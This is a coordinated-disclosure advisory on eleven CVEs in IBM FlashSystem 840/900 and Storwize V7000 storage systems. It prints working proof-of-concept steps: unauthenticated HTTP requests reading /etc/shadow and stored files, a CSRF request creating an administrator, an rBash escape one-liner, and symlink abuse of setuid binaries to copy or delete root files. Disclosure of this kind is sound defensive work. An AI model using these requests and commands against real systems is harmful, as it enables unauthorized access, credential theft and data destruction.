IBM Flashsystem / Storwize CSRF / Arbitrary File Read / Information Disclosure

`Vulnerabilities in IBMs Flashsystems and Storwize Products  
-------------------------------------------------------------------------  
  
Introduction  
============  
Vulnerabilities were identified in the IBM Flashsystem 840, IBM Flashsystem  
900 and IBM Storwize V7000. These were discovered during a black box  
assessment and therefore the vulnerability list should not be considered  
exhaustive; observations suggest that it is likely that further  
vulnerabilities exist. It is strongly recommended that IBM Corporation  
undertakes a full whitebox security assessment of this application.  
  
The version under test was indicated as: 1.6.2.2 build 18  
  
Affected Software And Versions  
==============================  
- IBM Flashsystem 900  
- IBM Flashsystem 840  
- IBM Storwize V7000  
  
Affected versions are indicated directly within the reported issues.  
  
CVE  
===  
The following CVEs were assigned to the issues described in this report:  
CVE-2018-1438  
CVE-2018-1433  
CVE-2018-1434  
CVE-2018-1462  
CVE-2018-1463  
CVE-2018-1464  
CVE-2018-1495  
CVE-2018-1467  
CVE-2018-1465  
CVE-2018-1466  
CVE-2018-1461  
  
Vulnerability Overview  
======================  
01. CVE-2018-1438: Unauthenticated arbitrary file read on V7000 Unified  
allowing storage data access  
02. CVE-2018-1433: Unauthenticated arbitrary file read via the  
DownloadFile Handler / Authenticated arbitrary file read via the  
DownloadFile Handler on v7000 Unified  
03. CVE-2018-1434: Web interface vulnerable to CSRF  
04. CVE-2018-1462: rBash ineffective as a security measure  
05. CVE-2018-1463: World readable credentials and encryption keys  
06. CVE-2018-1464: Sensitive file disclosure of files readable by root  
07. CVE-2018-1495: Arbitrary file overwrite  
08. CVE-2018-1467: Unauthenticated information disclosure  
09. CVE-2018-1465: Unprivileged web server process may read SSL private  
key  
10. CVE-2018-1466: Weak password hashing algorithm used  
11. CVE-2018-1461: Missing Security Related HTTP Headers  
  
  
Vulnerability Details  
=====================  
  
---------------------------------------------  
CVE-2018-1438. Unauthenticated arbitrary file read on V7000 Unified  
allowing storage data access  
---------------------------------------------  
  
On the IBM V7000 Unified System the web handler /DLSnap does not require  
authentication and allows to read arbitrary files from the system as  
"root", including the data stored in the storage system from the mounted  
shares.  
  
GET /DLSnap?filename=/ibm/<redacted>/secret-file.txt HTTP/1.1  
Host: v7ku01  
Connection: close  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
  
  
HTTP/1.1 200 OK  
Server: Apache-Coyote/1.1  
Cache-Control:  
Expires: Wed, 31 Dec 1969 16:00:00 PST  
X-Frame-Options: SAMEORIGIN  
Set-Cookie: SonasSessionID=<redacted>; Path=/; Secure; HttpOnly  
Content-disposition: attachment; filename=secret-file.txt  
Pragma:  
Content-Type: application/octet-stream  
Date: Tue, 16 Jan 2018 11:12:39 GMT  
Connection: close  
Content-Length: 4  
  
42  
  
--------------------------------------------------  
CVE-2018-1433. Unauthenticated file read via the DownloadFile Handler /  
Authenticated arbitrary file read via the DownloadFile Handler on v7000  
Unified  
--------------------------------------------------  
  
  
In case of the following list of products, the DownloadFile handler allows  
unauthenticated file reading under the "webadmin" user:  
IBM Flashsystem 900  
IBM Flashsystem 840  
IBM Storwize V7000  
  
Example request:  
GET /DownloadFile?filename=/etc/passwd HTTP/1.1  
Host: v7k01n02  
Connection: close  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
  
On the V7000 Unified the same request handler allows reading arbitrary  
files under the "root" user, however authentication is required here:  
GET /DownloadFile?filename=/etc/shadow  
Host: v7ku01  
Connection: close  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: <redacted>  
  
-----------------------------------------------  
CVE-2018-1434: Web interface vulnerable to CSRF  
-----------------------------------------------  
  
The main web interface on the V7000 Unified is vulnerable to CSRF and other  
interfaces seem to be vulnerable as well. This could allow an external  
attacker to execute commands on behalf of a user/administrator of the  
system and potentially also access data stored on the system.  
  
Example request (using a cross domain XMLHttpRequest):  
POST /RPCAdapter HTTP/1.1  
Host: v7ku01  
Origin: https://www.example.com  
Referer: https://www.example.com/create_admin.html  
Content-Type: text/plain  
Connection: close  
Content-Length: 183  
Cookie: <redacted>  
  
{"clazz":"com.ibm.evo.rpc.RPCRequest","methodClazz":"com.ibm.sonas.gui.logic.AccessRPC","methodName":"launchCreateUserTask","methodArgs":["my-secadmin","<redacted>",["Administrator"]]}  
  
  
Response:  
HTTP/1.1 200 OK  
Server: Apache-Coyote/1.1  
X-Frame-Options: SAMEORIGIN  
Content-Type: application/json;charset=UTF-8  
Content-Length: 319  
Connection: close  
  
{"clazz":"com.ibm.evo.rpc.RPCResponse","messages":null,"result":{"clazz":"com.ibm.sonas.gui.logic.tasks.access.CreateUserTask","shouldBeScheduled":true,"started":1516202190188,"id":"<redacted>","name":"Create  
User", "state":"Running","status":"Task  
started.","progress":-1,"returnValue": null}}  
  
---------------------------------------------  
CVE-2018-1462: Ineffective rBash Configuration  
---------------------------------------------  
  
On machines with a restricted bash, a possible escape from rBash looks like  
the following:  
BASH_CMDS[escape]=/bin/bash;escape  
  
--------------------------------------------------  
CVE-2018-1463: World readable credentials and encryption keys  
--------------------------------------------------  
  
While some systems have removed the world-read bit from several files and  
directories, more important files which contain application configuration  
details, passwords and secret keys are world readable and sometimes also  
world writable. On the IBM Flash System, this also includes the storage  
encryption key.  
  
# Partial directory listing of /persist/ on the Unified system:  
drwxr-xr-x. 2 root root 4096 Jan 18 01:35 .  
drwxr-xr-x. 29 root root 4096 Aug 15 16:16 ..  
...  
-rw-r--r--. 1 root root 27040 Jan 16 08:28 vpd  
...  
  
# Partial directory listing of /mnt/plfs on the Flash system:  
drwxrwxrwx 4 root root 0 Dec 31 1969 .  
drwxr-x--x 7 root root 1024 Jan 8 07:41 ..  
-rw-rw-rw- 1 root root 24 Oct 24 2016 encryption.key  
  
-----------------------------------------------  
CVE-2018-1464: Sensitive file disclosure of files readable by root  
-----------------------------------------------  
  
The setuid binary svc_copy is a wrapper around the script sw_copy which  
calls cp on the shell.  
  
Creating a symlink to any file, this file can be copied as root to /dumps  
and is world readable/writable (-rw-rw-rw- ):  
  
$ ln -s /etc/shadow /tmp/shadow  
$ ./svc_copy /tmp/shadow /dumps/  
  
The file /dumps/shadow is now world readable with the permissions  
(-rw-rw-rw- )  
  
---------------------------------------------  
CVE-2018-1495: Arbitrary file deletion  
---------------------------------------------  
  
The setuid binary log_cleanup is a wrapper around log_cleanup.py  
  
This binary wipes the directories /dumps or /tmp and has an undocumented  
feature "-s" (delete target of symlink).  
  
The following command deletes an arbitrary file (e.g. /etc/shadow):  
$ ln -s /etc/shadow /tmp/shadow  
$ ./log_cleanup -s  
Select /tmp as target directory to be wiped  
  
--------------------------------------------------  
CVE-2018-1467: Unauthenticated information disclosure  
--------------------------------------------------  
  
Some web handlers on the V7000 Unified expose system configuration without  
authentication which could be used by an attacker to collect vital details  
about the environment.  
  
https://v7ku01/SonasInfoServlet?challenge=1  
CLUSTER_ID=<redacted>;NAME=<redacted>.ibm;PROFILE=V7000  
Unified;SYSTEM_NAME=<redacted>.ibm;mgmt001st001=<redacted>;mgmt002st001=<redacted>;idMapConfig=10000000-299999999,1000000;adHost<redacted>;krbMode=off;domain=<redacted>;idMapRole=master;realm=<redacted>;userName=<redacted>;idMappingMethod=auto;passwordServer=*;AUTH_TYPE=ad;IDMAP_10000000-10999999=ALLOC,ALLOC,auto;IDMAP_11000000-11999999=BUILTIN,S-1-5-32,auto;IDMAP_12000000-12999999=<redacted>,S-1-5-21-<redacted>,auto;IDMAP_13000000-13999999=<redacted>,S-1-5-21-<redacted>,auto;  
CHALLENGE <redacted>  
  
  
-----------------------------------------------  
CVE-2018-1465: Unprivileged web server process may read SSL private key  
-----------------------------------------------  
  
The current private key for the installed SSL certificate on the V7000 FC  
CE Cannister Node is readable by the webadmin user:  
-rw-r----- 1 webadmin 1000 1679 Aug 15 09:47 /dev/server.key  
  
As a result the file can be read through vulnerabilities in the web  
application, e.g. via the DownloadFile handler (see separate issue).  
  
Certificate details:  
Validity: 15 years  
Subject: C=GB, L=Hursley, O=IBM, OU=SSG, CN=2076,  
[email protected]  
  
---------------------------------------------  
CVE-2018-1466: Weak password hashing algorithm used  
---------------------------------------------  
  
The root password on the V7000 (CE) FC Cannister and Flash System nodes  
(and probably others, too) are hashed with a weak algorithm (DES) instead  
of the SHA512 which is the system's default according to /etc/login.defs.  
  
--------------------------------------------------  
CVE-2018-1461: Missing Security Related HTTP Headers  
--------------------------------------------------  
  
XSS Protection HTTP Header  
The XSS Filter is a feature that is built into modern web browsers and is  
meant to prevent reflective Cross Site Scripting attacks. This feature can  
be explicitly turned on (and also off) by using the HTTP header  
X-XSS-Protection.  
  
X-Content-Type Header  
To make MIME type confusion attacks harder, the HTTP header  
X-Content-Type-Options can be set. This header prevents trusting the user  
provided MIME type and instead guessing the MIME type of the server  
response.  
  
Author  
======  
The vulnerabilities were discovered by Sebastian Neuner (@sebastian9er) and  
Jan Bee from the Google Security Team.  
  
Timeline  
========  
2018/01/26 - Security report sent to [email protected] with 90 day  
disclosure deadline (2018/04/26).  
2018/01/29 - IBM acknowledges report and starts working on the issues.  
2018/04/13 - IBM requested grace period due to internal patch cycle.  
2018/04/16 - Google granted two week grace period (from 2018/04/26 to  
2018/05/11).  
2018/05/11 - Public disclosure on the Full Disclosure/Bugtraq Mailing List.  
`